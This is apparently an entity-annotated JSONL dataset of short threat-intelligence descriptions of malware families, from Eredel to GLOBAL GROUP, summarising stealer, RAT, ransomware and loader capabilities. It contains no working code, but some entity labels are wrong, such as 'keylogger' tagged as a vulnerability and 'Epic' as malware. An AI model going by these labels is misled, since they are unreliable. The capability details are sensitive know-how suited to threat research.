+{"text": "Eredel Stealer is a low price malware that allows for extracting passwords, cookies, screen desktop from browsers and programs.\r\n\r\nAccording to nulled[.]to:\r\n\r\nSupported browsers\r\nChromium Based: Chromium, Google Chrome, Kometa, Amigo, Torch, Orbitum, Opera, Opera Neon, Comodo Dragon, Nichrome (Rambler), Yandex Browser, Maxthon5, Sputnik, Epic Privacy Browser, Vivaldi, CocCoc and other Chromium Based browsers.\r\n\r\n- Stealing FileZilla\r\n- Stealing an account from Telegram\r\n- Stealing AutoFill\r\n- Theft of wallets: Bitcoin | Dash | Monero | Electrum | Ethereum | Litecoin\r\n- Stealing files from the desktop. Supports any formats, configurable via telegram-bot", "spans": {"MALWARE: Eredel": [[0, 6]], "SYSTEM: Chrome": [[213, 219]], "SYSTEM: Telegram": [[466, 474]], "SYSTEM: Opera": [[252, 257], [259, 264]], "ORGANIZATION: Google": [[206, 212]], "MALWARE: Epic": [[341, 345]]}, "info": {"source": "apt_reports", "name": "Eredel"}}
+{"text": "Ransomware.", "spans": {}, "info": {"source": "apt_reports", "name": "Eris"}}
+{"text": "According to proofpoint, Bad Rabbit is a strain of ransomware that first appeared in 2017 and is a suspected variant of Petya. Like other strains of ransomware, Bad Rabbit virus infections lock up victims’ computers, servers, or files preventing them from regaining access until a ransom—usually in Bitcoin—is paid.", "spans": {"MALWARE: Bad Rabbit": [[25, 35], [161, 171]]}, "info": {"source": "apt_reports", "name": "EternalPetya"}}
+{"text": "This malware is part of the Eternity Malware \"Framework\".", "spans": {}, "info": {"source": "apt_reports", "name": "Eternity Clipper"}}
+{"text": "Eternity Framework Ransomware Payload", "spans": {}, "info": {"source": "apt_reports", "name": "Eternity Ransomware"}}
+{"text": "This Stealer is part of the eternity malware project.", "spans": {}, "info": {"source": "apt_reports", "name": "Eternity Stealer"}}
+{"text": "This malware is part of the Eternity Malware \"Framework\".", "spans": {}, "info": {"source": "apt_reports", "name": "Eternity Worm"}}
+{"text": "EvilConwi is a malicious variant of the legitimate ScreenConnect software by ConnectWise.\r\nThis software is a remote access software. Threat actors modify the configuration extensively so that any signs of an active remote connection are removed. EvilConwi often pretends to perform a Windows update by using fake Windows update images embedded in the config. The purpose is to keep the system running while the threat actor connect remotely.\r\n\r\nOther EvilConwi signs are fake application icons. E.g., it may pretend to be an installer for Zoom and use its icons and application titles in the ConnectWise config.", "spans": {"MALWARE: EvilConwi": [[0, 9], [247, 256], [452, 461]], "TOOL: ScreenConnect": [[51, 64]], "TOOL: ConnectWise": [[77, 88], [593, 604]], "SYSTEM: Windows": [[285, 292], [314, 321]], "SYSTEM: Zoom": [[540, 544]]}, "info": {"source": "apt_reports", "name": "EvilConwi"}}
+{"text": "A wiper used against in an attack against Iran’s state broadcaster. Using campaign name coined by Check Point in lack of a better name for the wiper component.", "spans": {"ORGANIZATION: Check Point": [[98, 109]]}, "info": {"source": "apt_reports", "name": "EvilPlayout"}}
+{"text": "Privately modded version of the Pony stealer.", "spans": {"MALWARE: Pony": [[32, 36]]}, "info": {"source": "apt_reports", "name": "EvilPony"}}
+{"text": "ExByte is a custom data exfiltration tool and infostealer observed being used during BlackByte ransomware attacks.", "spans": {"MALWARE: ExByte": [[0, 6]], "MALWARE: BlackByte": [[85, 94]]}, "info": {"source": "apt_reports", "name": "ExByte"}}
+{"text": "ExileRAT is a simple RAT platform capable of getting information on the system (computer name, username, listing drives, network adapter, process name), getting/pushing files and executing/terminating processes.", "spans": {}, "info": {"source": "apt_reports", "name": "Exile RAT"}}
+{"text": "Exfiltration tool written in .NET, used by at least one BlackMatter ransomware operator.", "spans": {"SYSTEM: .NET": [[29, 33]], "MALWARE: BlackMatter": [[56, 67]]}, "info": {"source": "apt_reports", "name": "ExMatter"}}
+{"text": "According to PCrisk, Exorcist is a ransomware-type malicious program. Systems infected with this malware experience data encryption and users receive ransom demands for decryption. During the encryption process, all compromised files are appended with an extension consisting of a ransom string of characters.\r\n\r\nFor example, a file originally named \"1.jpg\" could appear as something similar to \"1.jpg.rnyZoV\" following encryption. After this process is complete, Exorcist ransomware changes the desktop wallpaper and drops HTML applications - \"[random-string]-decrypt.hta\" (e.g. \"rnyZoV-decrypt.hta\") - into affected folders. These files contain identical ransom messages.", "spans": {"MALWARE: Exorcist": [[21, 29], [464, 472]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "Exorcist"}}
+{"text": "Expiro malware has been around for more than a decade, and the malware authors sill continue their work and update it with more features. Also the infection routine was changed in samples fround in 2017 (described by McAfee).\r\nExpiro \"infiltrates\" executables on 32- and 64bit Windows OS versions.\r\nIt has capabilities to install browser extensions, change security behaviour/settings on the infected system, and steal information (e.g. account credentials).\r\nThere is a newly described EPO file infector source code called m0yv in 2022, which is wrongly identified as expiro by some AVs.", "spans": {"MALWARE: Expiro": [[0, 6], [227, 233]], "SYSTEM: McAfee": [[217, 223]], "SYSTEM: Windows": [[277, 284]], "MALWARE: m0yv": [[524, 528]]}, "info": {"source": "apt_reports", "name": "Expiro"}}
+{"text": "According to Trend MIcro, Extreme RAT (XTRAT, Xtreme Rat) is a Remote Access Trojan that can steal information. This RAT has been used in attacks targeting Israeli and Syrian governments last 2012.\r\n\r\nThis malware family of backdoors has the capability to receive commands such as File Management (Download, Upload, and Execute Files), Registry Management (Add, Delete, Query, and Modify Registry), Perform Shell Command, Computer Control (Shutdown, Log on/off), and Screen capture from a remote attacker. In addition, it can also log keystrokes of the infected systems.", "spans": {"MALWARE: Xtreme Rat": [[46, 56]]}, "info": {"source": "apt_reports", "name": "Xtreme RAT"}}
+{"text": "EYService is the main part of the backdoor used by Nazar APT. This a passive backdoor that relies on, now discontinued, Packet Sniffer SDK (PSSDK) from Microolap.", "spans": {"MALWARE: EYService": [[0, 9]], "THREAT_ACTOR: Nazar": [[51, 56]]}, "info": {"source": "apt_reports", "name": "EYService"}}
+{"text": "Fabookie is facebook account info stealer.", "spans": {"MALWARE: Fabookie": [[0, 8]]}, "info": {"source": "apt_reports", "name": "Fabookie"}}
+{"text": "Malware written in .NET that mimics WannaCry.", "spans": {"SYSTEM: .NET": [[19, 23]], "MALWARE: WannaCry": [[36, 44]]}, "info": {"source": "apt_reports", "name": "FakeCry"}}
+{"text": "FancyFilter is a piece of code that documents code overlap between frameworks used by Regin and Equation Group.", "spans": {"MALWARE: FancyFilter": [[0, 11]], "THREAT_ACTOR: Equation Group": [[96, 110]], "MALWARE: Regin": [[86, 91]], "MALWARE: Equation": [[96, 104]]}, "info": {"source": "apt_reports", "name": "fancyfilter"}}
+{"text": "According to PCrisk, Fantom is a ransomware-type virus that imitates the Windows update procedure while encrypting files. This is unusual, since most ransomware encrypts files stealthily without showing any activity. During encryption, Fantom appends the names of encrypted files with the \".locked4\", \".fantom\" or \".locked\" extension.", "spans": {"SYSTEM: Windows": [[73, 80]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "FantomCrypt"}}
+{"text": "FastLoader is a small .NET downloader, which name comes from PDB strings seen in samples. It typically downloads TrickBot. It may create a list of processes and uploads it together with screenshot(s). In more recent versions, it employs simple anti-analysis checks (VM detection) and comes with string obfuscations.", "spans": {"MALWARE: FastLoader": [[0, 10]], "SYSTEM: .NET": [[22, 26]], "MALWARE: TrickBot": [[113, 121]]}, "info": {"source": "apt_reports", "name": "FastLoader"}}
+{"text": "FatalRAT is a most-likely chinese remote access tool distributed through forums and Telegram channels. FatalRAT executes various anti-virtual machine tests to avoid detection before fully infecting systems. Upon successful infiltration, it decrypts configuration strings, disables the CTRL+ALT+DELETE function, and activates a keylogger.\r\n\r\nThe malware can establish persistence via registry modifications or service creation, collect sensitive data, and communicate with its command and control (C&C) server using encrypted methods. FatalRAT also employs techniques like brute-force attacks against weak passwords to propagate within networks.", "spans": {"MALWARE: FatalRAT": [[0, 8], [103, 111], [534, 542]], "SYSTEM: Telegram": [[84, 92]], "VULNERABILITY: keylogger": [[327, 336]], "VULNERABILITY: brute-force": [[572, 583]]}, "info": {"source": "apt_reports", "name": "FatalRat"}}
+{"text": "According to ESET Research, FatDuke is the current flagship backdoor of APT29 and is only deployed on the most interesting  machines. It is generally dropped by the MiniDuke backdoor, but ESET also have seen the operators dropping FatDuke using lateral movement tools such as PsExec.The operators regularly repack this malware in order to evade detections. The most recent sample of FatDuke that ESET have seen was compiled on May 24, 2019. They have seen them trying to regain control of a machine multiple times in a few days, each time with  a different sample. Their packer, described in a later section, adds a lot of code, leading to large binaries. While the effective code should not be larger than 1MB, ESET have seen one sample weighing in at 13MB, hence our name for this backdoor component: FatDuke.", "spans": {"MALWARE: FatDuke": [[28, 35], [231, 238], [383, 390], [803, 810]], "THREAT_ACTOR: APT29": [[72, 77]], "TOOL: PsExec": [[276, 282]], "SYSTEM: ESET": [[13, 17], [188, 192], [396, 400], [712, 716]], "MALWARE: MiniDuke": [[165, 173]]}, "info": {"source": "apt_reports", "name": "FatDuke"}}
+{"text": "Ransomware.", "spans": {}, "info": {"source": "apt_reports", "name": "FCT"}}
+{"text": "FDMTP is a newly discovered hacking tool developed in .NET, used by Earth Preta. It functions as a simple malware downloader and is based on the TouchSocket framework over the Duplex Message Transport Protocol (DMTP). In one campaign, threat actors embedded FDMTP in the data section of a DLL. This allows it to be launched through DLL side-loading. The embedded network configurations are encoded and encrypted to enhance security and evade detection, utilizing Base64 and DES encryption methods. It has been observed to serve as a secondary control tool, often deployed by the PUBLOAD backdoor.", "spans": {"MALWARE: FDMTP": [[0, 5], [258, 263]], "SYSTEM: .NET": [[54, 58]], "VULNERABILITY: DLL side-loading": [[332, 348]], "MALWARE: PUBLOAD": [[579, 586]]}, "info": {"source": "apt_reports", "name": "FDMTP"}}
+{"text": "Feodo (also known as Cridex or Bugat) is a Trojan used to commit e-banking fraud and to steal sensitive information from the victims computer, such as credit card details or credentials.", "spans": {"MALWARE: Feodo": [[0, 5]], "MALWARE: Cridex": [[21, 27]], "MALWARE: Bugat": [[31, 36]]}, "info": {"source": "apt_reports", "name": "Feodo"}}
+{"text": "According to PCrisk, FFDroider is a malicious program classified as a stealer. It is designed to extract and exfiltrate sensitive data from infected devices. FFDroider targets popular social media and e-commerce platforms in particular.", "spans": {"MALWARE: FFDroider": [[21, 30], [158, 167]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "FFDroider"}}
+{"text": "According to CyberArk, this malware is used to steal sensitive information, including login credentials, credit card information, cryptocurrency wallets and browser information from applications such as WinSCP, Discord, Google Chrome, Electrum, etc. It does all that by implementing a different approach than other stealers (we’ll cover it later). Additionally, FickerStealer can function as a File Grabber and collect additional files from the compromised machine, and it can act as a Downloader to download and execute several second-stage malware.", "spans": {"TOOL: WinSCP": [[203, 209]], "SYSTEM: Chrome": [[227, 233]], "SYSTEM: Discord": [[211, 218]], "ORGANIZATION: Google": [[220, 226]]}, "info": {"source": "apt_reports", "name": "Ficker Stealer"}}
+{"text": "Filerase is a .net API-based utility capable of propagating and recursively deleting files.", "spans": {"MALWARE: Filerase": [[0, 8]]}, "info": {"source": "apt_reports", "name": "Filerase"}}
+{"text": "FinFisher is a commercial software used to steal information and spy on affected victims. It began with few functionalities which included password harvesting and information leakage, but now it is mostly known for its full Remote Access Trojan (RAT) capabilities. It is mostly known for being used in governmental targeted and lawful criminal investigations. It is well known for its anti-detection capabilities and use of VMProtect.", "spans": {"MALWARE: FinFisher": [[0, 9]]}, "info": {"source": "apt_reports", "name": "FinFisher RAT"}}
+{"text": "Recently, Check Point researchers spotted a targeted attack against officials within government finance authorities and representatives in several embassies in Europe. The attack, which starts with a malicious attachment disguised as a top secret US document, weaponizes TeamViewer, the popular remote access and desktop sharing software, to gain full control of the infected computer.\r\nThis is achieved by sideloading another DLL among the legit TeamViewer.", "spans": {"TOOL: TeamViewer": [[271, 281], [447, 457]], "ORGANIZATION: Check Point": [[10, 21]]}, "info": {"source": "apt_reports", "name": "FINTEAM"}}
+{"text": "The purpose of this rootkit/driver is hiding and protecting malicious artifacts from user-mode components(e.g. files, processes, registry keys and network connections).\r\nAccording to Fortguard Labs, this malware uses Direct Kernel Object Modification (DKOM), which involves undocumented kernel structures and objects, for its operations, why this malware has to rely on specific OS builds.", "spans": {"VULNERABILITY: rootkit": [[20, 27]]}, "info": {"source": "apt_reports", "name": "Fire Chili"}}
+{"text": "A custom loader for CobaltStrike.", "spans": {"TOOL: CobaltStrike": [[20, 32]]}, "info": {"source": "apt_reports", "name": "FishMaster"}}
+{"text": "This malware family is mainly spread through various private server clients in bundles, and mainly tamper with user system network data packets through technical means such as TDI filtering, DNS hijacking, HTTP(s) injection, and HOSTS redirection, hijacking normal web page access to designated private server websites, and using security software cloud detection and killing data packet shielding, shutdown callback rewriting and other means to achieve counter-detection.", "spans": {"VULNERABILITY: DNS hijacking": [[191, 204]]}, "info": {"source": "apt_reports", "name": "FK_Undead"}}
+{"text": "According to PICUS, Flagpro is malware that collects information from the victim and executes commands in the victim’s environment. It targets Japan, Taiwan, and English-speaking countries. When a victim is infected with Flagpro malware, the malware can do the following:\r\n\r\nDownload and execute a tool\r\nExecute OS commands and send results\r\nCollect and send Windows authentication information", "spans": {"MALWARE: Flagpro": [[20, 27], [221, 228]], "SYSTEM: Windows": [[359, 366]]}, "info": {"source": "apt_reports", "name": "Flagpro"}}
+{"text": "FLASHFLOOD will scan inserted removable drives for targeted files, and copy those files from the\r\nremovable drive to the FLASHFLOOD-infected system. FLASHFLOOD may also log or copy additional data from the victim computer, such as system information\r\nor contacts.", "spans": {"MALWARE: FLASHFLOOD": [[0, 10], [121, 131], [149, 159]]}, "info": {"source": "apt_reports", "name": "FLASHFLOOD"}}
+{"text": "According to Intezer, this is a shellcode loader.", "spans": {"ORGANIZATION: Intezer": [[13, 20]]}, "info": {"source": "apt_reports", "name": "FlashDevelop"}}
+{"text": "FlawedAmmyy is a well-known Remote Access Tool (RAT) attributed to criminal gang TA505 and used to get the control of target machines. The name reminds the strong link with the leaked source code of Ammyy Admin from which it took the main structure.", "spans": {"MALWARE: FlawedAmmyy": [[0, 11]], "THREAT_ACTOR: TA505": [[81, 86]], "TOOL: Ammyy Admin": [[199, 210]]}, "info": {"source": "apt_reports", "name": "FlawedAmmyy"}}
+{"text": "According to ProofPoint, FlawedGrace is written in C++ and can be categorized as a Remote Access Trojan (RAT). It seems to have been developed in the second half of 2017 mainly.\r\n\r\nFlawedGrace uses a series of commands:\r\nFlawedGrace also uses a series of commands, provided below for reference:\r\n* desktop_stat\r\n* destroy_os\r\n* target_download\r\n* target_module_load\r\n* target_module_load_external\r\n* target_module_unload\r\n* target_passwords\r\n* target_rdp\r\n* target_reboot\r\n* target_remove\r\n* target_script\r\n* target_servers\r\n* target_update\r\n* target_upload", "spans": {"MALWARE: FlawedGrace": [[25, 36], [181, 192], [221, 232]]}, "info": {"source": "apt_reports", "name": "FlawedGrace"}}
+{"text": "According to M4lcode, FleshStealer is a sophisticated, modular, and obfuscated .NET-based information-stealing malware designed for comprehensive data exfiltration from Windows systems. Its architecture is built for scale and stealth, utilizing multithreading to simultaneously run multiple data harvesting routines with minimal system disruption. The malware targets a wide range of applications and services, including browsers, messaging apps, email clients, VPNs, cryptocurrency wallets, FTP clients, game launchers, and local file storage.", "spans": {"SYSTEM: Windows": [[169, 176]], "SYSTEM: .NET": [[79, 83]]}, "info": {"source": "apt_reports", "name": "Flesh Stealer"}}
+{"text": "Available since 2015, Flusihoc is a versatile C++ malware capable of a variety of DDoS attacks as directed by a Command and Control server. Flusihoc communicates with its C2 via HTTP in plain text.", "spans": {"MALWARE: Flusihoc": [[22, 30], [140, 148]], "VULNERABILITY: DDoS": [[82, 86]]}, "info": {"source": "apt_reports", "name": "Flusihoc"}}
+{"text": "According to BI.ZONE, FoalShell is a simple reverse shell used by Cavalry Werewolf, written in Go, C++, and C#. FoalShell allows attackers to execute arbitrary commands in the cmd.exe command line interpreter on a compromised host.", "spans": {"MALWARE: FoalShell": [[22, 31], [112, 121]], "TOOL: cmd.exe": [[176, 183]], "TOOL: cmd": [[176, 179]], "SYSTEM: Go": [[95, 97]]}, "info": {"source": "apt_reports", "name": "FoalShell"}}
+{"text": "According to SentinelOne, Fog Ransomware emerged in April of 2024 with operations targeting both Windows and Linux endpoints. Fog is a multi-pronged extortion operation, leveraging a TOR-based DLS to list victims and host data for those that refuse to comply with their ransom demands.", "spans": {"MALWARE: Fog": [[26, 29], [126, 129]], "SYSTEM: Windows": [[97, 104]], "SYSTEM: SentinelOne": [[13, 24]], "SYSTEM: Linux": [[109, 114]]}, "info": {"source": "apt_reports", "name": "Fog"}}
+{"text": "FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called \"Babushka Crypter\" by Insidemalware.", "spans": {"MALWARE: FormBook": [[0, 8]]}, "info": {"source": "apt_reports", "name": "Formbook"}}
+{"text": "A RAT employing Node.js, Sails, and Socket.IO to collect information on a target", "spans": {"SYSTEM: Node.js": [[16, 23]]}, "info": {"source": "apt_reports", "name": "FRat"}}
+{"text": "FROZENHILL is a launcher written in C++ that is configured to utilize existing files for execution and also infects newly attached storage volumes with additional malware.", "spans": {"MALWARE: FROZENHILL": [[0, 10]]}, "info": {"source": "apt_reports", "name": "FROZENHILL"}}
+{"text": "FudModule is a user-mode DLL that gets the ability to read and write arbitrary kernel memory via the BYOVD technique. Its main goal is to turn off Windows system monitoring features, which is done by modifying kernel variables and removing kernel callbacks. Its actions may very likely affect various types of security products, e.g. EDRs, firewalls, antimalware and even digital forensics tools.", "spans": {"MALWARE: FudModule": [[0, 9]], "SYSTEM: Windows": [[147, 154]]}, "info": {"source": "apt_reports", "name": "FudModule"}}
+{"text": "Fujinama is a custom VB info stealer capable to execute custom commands and custom exfiltrations, keylogging and screenshot. It was involved in the compromise of Leonardo SpA, a major Italian aerospace and defense company.", "spans": {"VULNERABILITY: keylogging": [[98, 108]]}, "info": {"source": "apt_reports", "name": "win.fujinama"}}
+{"text": "According to Check Point Research, a ransomware written in Rust that was likely developed using the aid of an LLM to produce code snippets.", "spans": {"SYSTEM: Rust": [[59, 63]], "ORGANIZATION: Check Point": [[13, 24]]}, "info": {"source": "apt_reports", "name": "FunkSec"}}
+{"text": "FuwuqiDrama is a server-side RAT. It manages client connections by utilizing I/O completion ports, which are usually used in high-performance server applications as an elegant solution to manage many clients at once.\r\n\r\nIt contains two distinguishing hardcoded lists.\r\n\r\nFirst is a list of ~50 video files of South Korean TV series, having their titles translated to Mandarin Chinese, but encoded in the form of Pinyin romanization. That means the sounds are spelled in Latin alphabet without tone marks, for example meiyounihuobuxiaqu.avi represents Can't Live Without You (a K-drama from 2012) or wulalafufu.avi translates to Ohlala Couple (also from 2012). \r\n\r\nSecond is the list of the following corporations: NVIDIA, Amazon, Intel, Skype, 360Safe, Rising, Tencent, Mozilla, Adobe, Yahoo, Google. The same list is contained in some of the WannaCryptor samples.\r\n\r\nFuwuqiDrama stores its configuration in the INI file data\\package_con_x86.cat. It contains the port number and a bot identifier, all within a single section called Fuwuqi – the romanized Chinese word for server.", "spans": {"MALWARE: FuwuqiDrama": [[0, 11], [868, 879]], "SYSTEM: Skype": [[737, 742]], "ORGANIZATION: Amazon": [[722, 728]], "ORGANIZATION: NVIDIA": [[714, 720]], "ORGANIZATION: Google": [[793, 799]], "ORGANIZATION: Intel": [[730, 735]], "MALWARE: WannaCryptor": [[843, 855]]}, "info": {"source": "apt_reports", "name": "FuwuqiDrama"}}
+{"text": "FuxSocy has some similarities to win.cerber but is tracked as its own family for now.", "spans": {"MALWARE: FuxSocy": [[0, 7]]}, "info": {"source": "apt_reports", "name": "FuxSocy"}}
+{"text": "According to ANY.RUN, the GaboonGrabber is a malware developed in .NET that grabs its embedded resources to prepare multiple fileless stages. Additionally, it has the tendency to camouflage itself as a legitimate application, going so far as to mimic legitimate applications in its decompiled code. It also includes a steganographic image used to prepare further payloads.\r\n\r\nGaboonGrabber's final stage can deploy various types of malware, including Snake Keylogger, AgentTesla, Redline, Lokibot, and more.", "spans": {"MALWARE: GaboonGrabber": [[26, 39], [376, 389]], "SYSTEM: .NET": [[66, 70]], "ORGANIZATION: ANY.RUN": [[13, 20]], "MALWARE: Snake": [[451, 456]], "MALWARE: AgentTesla": [[468, 478]], "MALWARE: Snake Keylogger": [[451, 466]], "MALWARE: Lokibot": [[489, 496]]}, "info": {"source": "apt_reports", "name": "GaboonGrabber"}}
+{"text": "According to Synthient, Gaganode is a decentralized bandwidth monetization service that enables both users and publishers to earn crypto for their bandwidth or monetize other people's bandwidth. The SDK intentionally implements RCE, thus aligning Gaganode more closely with malware than standard commercial SDKs.", "spans": {"MALWARE: Gaganode": [[24, 32], [247, 255]], "VULNERABILITY: RCE": [[228, 231]]}, "info": {"source": "apt_reports", "name": "Gaganode"}}
+{"text": "GalaxyLoader is a simple .NET loader. Its name stems from the .pdb and the function naming.\r\n\r\nIt seems to make use of iplogger.com for tracking.\r\nIt employed WMI to check the system for\r\n- IWbemServices::ExecQuery - SELECT * FROM Win32_Processor\r\n- IWbemServices::ExecQuery - select * from Win32_VideoController\r\n- IWbemServices::ExecQuery - SELECT * FROM AntivirusProduct", "spans": {"DOMAIN: iplogger.com": [[119, 131]], "MALWARE: GalaxyLoader": [[0, 12]], "SYSTEM: WMI": [[159, 162]], "SYSTEM: .NET": [[25, 29]]}, "info": {"source": "apt_reports", "name": "GalaxyLoader"}}
+{"text": "Gameover ZeuS is a peer-to-peer botnet based on components from the earlier ZeuS trojan. According to a report by Symantec, Gameover Zeus has largely been used for banking fraud and distribution of the CryptoLocker ransomware. In early June 2014, the U.S. Department of Justice announced that an international inter-agency collaboration named Operation Tovar had succeeded in temporarily cutting communication between Gameover ZeuS and its command and control servers.", "spans": {"MALWARE: Gameover ZeuS": [[0, 13], [418, 431]], "SYSTEM: Symantec": [[114, 122]], "ORGANIZATION: Department of Justice": [[256, 277]], "MALWARE: CryptoLocker": [[202, 214]], "MALWARE: Zeus": [[133, 137]]}, "info": {"source": "apt_reports", "name": "Gameover P2P"}}
+{"text": "GAMYBEAR\r\n\r\nA software tool developed using the Go programming language. Its main functionality is to receive (“listener”), execute (‘executor’) commands, and send (“sender”) results to the control server in BASE64-encoded form using the HTTP protocol.\r\n\r\nWhen launched, it generates a unique identifier (UUID), receives basic information about the computer (“whoami”, “wmic nicconfig where IPEnabled=true get IPAddress”), creates a helper file %APPDATA%\\ updater.json, where the URL of the control server is stored in JSON format (key “update_server”), as well as other listed data in BASE64-encoded form (keys: “uuid”, ‘hostname’, “ip”, respectively).\r\n\r\nDuring operation, the software regularly sends requests to the control server (URI: “/c2/get_commands/”) and waits for a response in JSON format with the ‘command’ and “arguments” fields. If the “Nop” command is received, a 15-second pause is initiated. After the commands are executed, the result and other data are encoded using BASE64, stored in a JSON structure (keys: “uuid”, “command”, ‘output’) and sent to the control server with a request to the URI “/c2/command_out/”.\r\n\r\nThe consistency of the launch is ensured by another program (script) at the stage of the initial infection of the computer by creating a key in the “Run” branch of the operating system registry.", "spans": {"FILEPATH: %APPDATA%": [[445, 454]], "MALWARE: GAMYBEAR": [[0, 8]], "TOOL: wmic": [[370, 374]], "SYSTEM: Go": [[48, 50]]}, "info": {"source": "apt_reports", "name": "GAMYBEAR"}}
+{"text": "GandCrab was a Ransomware-as-a-Service (RaaS) emerged in January 28, 2018, managed by a criminal organization known to be confident and vocal, while running a rapidly evolving ransomware campaign. Through their aggressive, albeit unusual, marketing strategies and constant recruitment of affiliates, they were able to globally distribute a high volume of their malware.\r\n\r\nIn a surprising announcement on May 31, 2019, the GandCrab’s operators posted on a dark web forum, announced the end of a little more than a year of ransomware operations, citing staggering profit figures. However, If there’s one thing that sets these threat actors apart from other groups, it is that they are unpredictable; so there is always the possibility that they might re-surface in one form or another.", "spans": {"MALWARE: GandCrab": [[0, 8], [423, 431]]}, "info": {"source": "apt_reports", "name": "Gandcrab"}}
+{"text": "A backdoor used by Mespinoza ransomware gang to maintain access to a compromised network.", "spans": {"MALWARE: Mespinoza": [[19, 28]]}, "info": {"source": "apt_reports", "name": "Gasket"}}
+{"text": "Gaudox is a http loader, written in C/C++. The author claims to have put much effort into making this bot efficient and stable. Its rootkit functionality hides it in Windows Explorer (32bit only).", "spans": {"MALWARE: Gaudox": [[0, 6]], "SYSTEM: Windows": [[166, 173]], "VULNERABILITY: rootkit": [[132, 139]]}, "info": {"source": "apt_reports", "name": "Gaudox"}}
+{"text": "Gazavat (which is often tagged as Expiro by AV vendors) is a multi-functional backdoor that has code overlaps with the POS malware DMSniff. Functionality includes:\r\n- Loading other executables\r\n- Load hash cracking plugin\r\n- Load DMSniff plugin\r\n- Perform webinjection and webfakes\r\n- Form grabbing\r\n- Command execution\r\n- Download file from infected system\r\n- Convert infection into proxy\r\n- DDOS\r\n- Spreading and EXE infecting", "spans": {"MALWARE: Gazavat": [[0, 7]], "MALWARE: DMSniff": [[131, 138], [230, 237]], "MALWARE: Expiro": [[34, 40]]}, "info": {"source": "apt_reports", "name": "Gazavat"}}
+{"text": "According to Unit 42, this is a .NET X64 malware that is capable of interaction with GoogleDrive, allowing an attacker to have victim information uploaded and payloads delivered.", "spans": {"SYSTEM: .NET": [[32, 36]], "ORGANIZATION: Unit 42": [[13, 20]]}, "info": {"source": "apt_reports", "name": "Gdrive"}}
+{"text": "According to FireEye, GEARSHIFT is a memory-only dropper for two keylogger DLLs. It is designed to replace a legitimate Fax Service DLL.", "spans": {"MALWARE: GEARSHIFT": [[22, 31]], "TOOL: replace": [[99, 106]], "ORGANIZATION: FireEye": [[13, 20]], "VULNERABILITY: keylogger": [[65, 74]]}, "info": {"source": "apt_reports", "name": "GEARSHIFT"}}
+{"text": "According to FireEye, GEMCUTTER is used in a similar capacity as BACKBEND (downloader), but maintains persistence by creating a Windows registry run key.\r\nGEMCUTTER checks for the presence of the mutex MicrosoftGMMZJ to ensure only one copy of GEMCUTTER is executing. If the mutex doesn't exist, the malware creates it and continues execution; otherwise, the malware signals the MicrosoftGMMExit event.", "spans": {"MALWARE: GEMCUTTER": [[22, 31], [155, 164], [244, 253]], "SYSTEM: Windows": [[128, 135]], "ORGANIZATION: FireEye": [[13, 20]], "MALWARE: BACKBEND": [[65, 73]]}, "info": {"source": "apt_reports", "name": "GEMCUTTER"}}
+{"text": "Custom RAT developed by the BlackTech actor, based on the Gh0st RAT.", "spans": {"THREAT_ACTOR: BlackTech": [[28, 37]], "MALWARE: Gh0st RAT": [[58, 67]]}, "info": {"source": "apt_reports", "name": "Gh0stTimes"}}
+{"text": "According to Mandiant, GHAMBAR is a remote administration tool (RAT) that communicates with its C2 server using SOAP requests over HTTP. Its capabilities include filesystem manipulation, file upload and download, shell command execution, keylogging, screen capture, clipboard monitoring, and additional plugin execution.", "spans": {"MALWARE: GHAMBAR": [[23, 30]], "ORGANIZATION: Mandiant": [[13, 21]], "VULNERABILITY: screen capture": [[250, 264]], "VULNERABILITY: keylogging": [[238, 248]]}, "info": {"source": "apt_reports", "name": "GHAMBAR"}}
+{"text": "GhostSocks, a Golang-based proxy malware, was first advertised as a Malware-as-a-Service (MaaS) on Russian-speaking underground forums in October 2023. It uses back-connect socket secure internet protocol (SOCKS5) connections and is available for rent for US $100 per month. In February 2024, the author of Lumma Stealer released an update introducing the integration of proxying capabilities. This feature, developed in partnership with GhostSocks, allows the use of infected hosts as SOCKS5 proxies and is available to all subscribers who purchase the \"Professional\" or higher tier plan. This integration allows Lumma Stealer users to establish a network of residential IP addresses for various purposes, including credential checking, spam distribution, or as general-purpose proxies.", "spans": {"MALWARE: GhostSocks": [[0, 10], [438, 448]], "MALWARE: Lumma Stealer": [[307, 320], [614, 627]]}, "info": {"source": "apt_reports", "name": "GhostSocks"}}
+{"text": "According to Security Ninja, Gh0st RAT (Remote Access Terminal) is a trojan “Remote Access Tool” used on Windows platforms, and has been used to hack into some of the most sensitive computer networks on Earth.\r\n\r\nBelow is a list of Gh0st RAT capabilities.\r\nTake full control of the remote screen on the infected bot.\r\nProvide real time as well as offline keystroke logging.\r\nProvide live feed of webcam, microphone of infected host.\r\nDownload remote binaries on the infected remote host.\r\nTake control of remote shutdown and reboot of host.\r\nDisable infected computer remote pointer and keyboard input.\r\nEnter into shell of remote infected host with full control.\r\nProvide a list of all the active processes.\r\nClear all existing SSDT of all existing hooks.", "spans": {"MALWARE: Gh0st RAT": [[29, 38], [232, 241]], "SYSTEM: Windows": [[105, 112]], "MALWARE: Ninja": [[22, 27]]}, "info": {"source": "apt_reports", "name": "Ghost RAT"}}
+{"text": "Ransomware.", "spans": {}, "info": {"source": "apt_reports", "name": "Gibberish"}}
+{"text": "According to CERT-UA, this stealer used by UAC-0226 is written in C/C++, targeting browser databases and using telegram for data exfiltration.", "spans": {"THREAT_ACTOR: UAC-0226": [[43, 51]], "ORGANIZATION: CERT-UA": [[13, 20]]}, "info": {"source": "apt_reports", "name": "GIFTEDCROOK"}}
+{"text": "An information stealer written in .NET.", "spans": {"SYSTEM: .NET": [[34, 38]]}, "info": {"source": "apt_reports", "name": "Ginzo Stealer"}}
+{"text": "The GLOBAL GROUP is a Ransomware-as-a-Service program which emerged in June 2025. It is suspected to have ties to BlackLock and Mamona, due to code and infrastructure similarities. It's negotiation panel offers AI-driven negotiations to help the operators to engage with the victims.", "spans": {"MALWARE: GLOBAL": [[4, 10]], "MALWARE: GLOBAL GROUP": [[4, 16]]}, "info": {"source": "apt_reports", "name": "Global"}}
